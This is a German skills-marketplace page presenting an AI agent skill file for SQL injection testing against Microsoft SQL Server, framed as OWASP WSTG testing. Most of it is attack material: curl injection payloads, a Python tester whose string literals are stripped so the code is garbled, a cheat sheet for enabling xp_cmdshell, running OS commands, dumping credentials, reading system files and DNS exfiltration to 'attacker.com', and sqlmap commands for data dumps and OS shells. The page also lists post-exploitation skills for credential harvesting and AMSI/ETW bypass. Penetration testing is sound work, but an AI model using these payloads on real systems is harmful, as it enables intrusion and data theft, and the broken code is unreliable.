Menü
Standardmäßig ist der Prompt ausgewählt, der zuerst die Quelle prüft. Sie können zu einem direkten Befehl wechseln oder eine lokale Kopie herunterladen.
Lesen Sie SKILL.md und alle von SkillsMP angezeigten Begleitdateien, bevor Sie sich für eine Installation entscheiden.
Mit Codex oder Claude installieren Kopieren Sie diesen Prompt, fügen Sie ihn in Codex, Claude oder einen anderen Assistant ein und lassen Sie die Skill-Seite prüfen und installieren.
Ein direkter Befehl überspringt den Prüf-Prompt. Prüfen Sie die Quelle, bevor Sie ihn ausführen.
npx skills add https://github.com/CyberStrikeus/CyberStrike --skill wstg-inpv-05-3Der Befehl bleibt in einer Zeile. Scrollen Sie horizontal, um ihn vor dem Kopieren vollständig zu prüfen.
Sie bevorzugen eine lokale Kopie? Laden Sie die Dateien herunter, die SkillsMP derzeit vorliegen.
macOS post-exploitation for credential harvesting, DTrace monitoring, TCC bypass, and stealth operations via native tools
Windows userland post-exploitation for credential harvesting, monitoring, AMSI/ETW bypass, and stealth operations
Kubernetes post-exploitation for container escape, secret extraction, RBAC abuse, and cluster persistence
Basierend auf der SOC-Berufsklassifikation
SKILL.md wird angezeigt
| name | wstg-inpv-05.3 |
| description | Testing for SQL Injection - SQL Server |
| category | input-validation |
| owasp_id | WSTG-INPV-05.3 |
| version | 1.0.0 |
| author | cyberstrike-official |
| tags | ["injection","input-validation","xss","sqli","wstg","inpv"] |
| tech_stack | [] |
| cwe_ids | [] |
| chains_with | [] |
| prerequisites | [] |
| severity_boost | {} |
WSTG-INPV-05.3
Testing for SQL Injection - SQL Server (MSSQL)
Microsoft SQL Server-specific SQL injection testing leverages MSSQL's unique features including xp_cmdshell for OS command execution, OPENROWSET for data exfiltration, and specific error messages. MSSQL often runs with elevated privileges, making successful exploitation particularly dangerous.
#!/bin/bash
TARGET="https://target.com/product?id="
echo "[*] Testing for Microsoft SQL Server..."
# Error-based detection
curl -s "${TARGET}'" | grep -iE "SQL Server|ODBC|mssql|Incorrect syntax"
# MSSQL comment syntax
curl -s "${TARGET}1--"
curl -s "${TARGET}1/*comment*/"
# Version detection
curl -s "${TARGET}1' AND 1=1 UNION SELECT @@version--"
# WAITFOR DELAY time-based
curl -s "${TARGET}1'; WAITFOR DELAY '0:0:5'--" --max-time 10
#!/usr/bin/env python3
"""
Microsoft SQL Server SQL Injection Tester
"""
import requests
import re
import time
:
():
.url = url
.findings = []
.session = requests.Session()
MSSQL_ERRORS = [
,
,
,
,
,
,
,
,
,
,
,
,
,
,
]
MSSQL_PAYLOADS = {
: [
,
,
,
,
],
: [
,
,
,
,
,
,
],
: [
(, ),
(, ),
(, ),
],
: [
,
,
,
,
,
],
: [
,
,
,
],
: [
,
,
],
}
():
()
detection_payloads = [
,
,
,
]
payload detection_payloads:
:
response = .session.get(.url, params={param: payload})
pattern .MSSQL_ERRORS:
re.search(pattern, response.text, re.IGNORECASE):
()
response.text.lower() response.text.lower():
()
Exception e:
():
()
payload .MSSQL_PAYLOADS[]:
:
response = .session.get(.url, params={param: payload})
re.search(, response.text, re.IGNORECASE):
()
version = re.search(, response.text)
version:
()
.findings.append({
: ,
: payload,
:
})
Exception e:
():
()
start = time.time()
.session.get(.url, params={param: }, timeout=)
baseline = time.time() - start
payload .MSSQL_PAYLOADS[]:
:
start = time.time()
.session.get(.url, params={param: payload}, timeout=)
response_time = time.time() - start
response_time > baseline + :
()
()
()
.findings.append({
: ,
: payload,
:
})
requests.exceptions.Timeout:
()
.findings.append({
: ,
: payload,
:
})
Exception e:
():
()
payload =
:
start = time.time()
.session.get(.url, params={param: payload}, timeout=)
response_time = time.time() - start
response_time > :
()
.findings.append({
: ,
: payload,
:
})
requests.exceptions.Timeout:
()
.findings.append({
: ,
:
})
Exception e:
():
()
payload =
:
response = .session.get(.url, params={param: payload})
response.text.lower():
()
.findings.append({
: ,
: payload,
: ,
:
})
Exception e:
():
.detect_mssql(param):
.test_error_based(param)
.test_time_based(param)
.test_stacked_queries(param)
.test_xp_cmdshell(param)
.generate_report()
():
( + *)
()
(*)
.findings:
()
:
f .findings:
()
f:
()
f:
()
tester = MSSQLSQLiTester()
tester.run_tests(param=)
-- MSSQL Version
SELECT @@version
SELECT SERVERPROPERTY('productversion')
-- Current User
SELECT SYSTEM_USER
SELECT USER_NAME()
SELECT CURRENT_USER
-- Current Database
SELECT DB_NAME()
-- List Databases
SELECT name FROM master..sysdatabases
SELECT name FROM sys.databases
-- List Tables
SELECT name FROM sysobjects WHERE xtype='U'
SELECT table_name FROM information_schema.tables
-- List Columns
SELECT column_name FROM information_schema.columns WHERE table_name='users'
SELECT name FROM syscolumns WHERE id=(SELECT id FROM sysobjects WHERE name='users')
-- Extract Data
SELECT username + ':' + password FROM users
-- xp_cmdshell (Command Execution)
EXEC master..xp_cmdshell 'whoami'
EXEC master..xp_cmdshell 'net user'
-- Enable xp_cmdshell if disabled
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
-- Read Files
CREATE TABLE #tmp (content NVARCHAR(4000));
BULK INSERT #tmp FROM 'C:\Windows\System32\drivers\etc\hosts';
SELECT * FROM #tmp;
-- DNS Exfiltration
EXEC master..xp_dirtree '\\attacker.com\share'
EXEC master..xp_fileexist '\\attacker.com\share'
-- Linked Servers
SELECT * FROM sys.servers
EXEC ('SELECT @@version') AT [LinkedServer]
# Basic MSSQL detection
sqlmap -u "https://target.com/product?id=1" --dbms=mssql
# Get MSSQL version
sqlmap -u "https://target.com/product?id=1" --dbms=mssql --banner
# List databases
sqlmap -u "https://target.com/product?id=1" --dbms=mssql --dbs
# List tables
sqlmap -u "https://target.com/product?id=1" --dbms=mssql -D master --tables
# Dump data
sqlmap -u "https://target.com/product?id=1" --dbms=mssql -D target_db -T users --dump
# OS shell via xp_cmdshell
sqlmap -u "https://target.com/product?id=1" --dbms=mssql --os-shell
# SQL shell
sqlmap -u "https://target.com/product?id=1" --dbms=mssql --sql-shell
# Privilege escalation
sqlmap -u "https://target.com/product?id=1" --dbms=mssql --priv-esc
| Tool | Purpose |
|---|---|
| SQLMap | Automated MSSQL SQLi |
| SQL Server Management Studio | Database client |
| Burp Suite | Manual testing |
| PowerUpSQL | MSSQL audit tool |
// C# - Parameterized queries
string query = "SELECT * FROM users WHERE id = @id";
SqlCommand cmd = new SqlCommand(query, connection);
cmd.Parameters.AddWithValue("@id", userId);
SqlDataReader reader = cmd.ExecuteReader();
# Python - pyodbc
cursor.execute("SELECT * FROM users WHERE id = ?", user_id)
| Finding | CVSS | Severity |
|---|---|---|
| MSSQL SQLi with xp_cmdshell | 10.0 | Critical |
| MSSQL SQLi with SA privileges | 9.8 | Critical |
| MSSQL SQLi data extraction | 8.6 | High |
| CWE ID | Title |
|---|---|
| CWE-89 | SQL Injection |
[ ] MSSQL database detected
[ ] Error-based injection tested
[ ] Time-based injection tested
[ ] Stacked queries tested
[ ] xp_cmdshell tested
[ ] Privilege level determined
[ ] Findings documented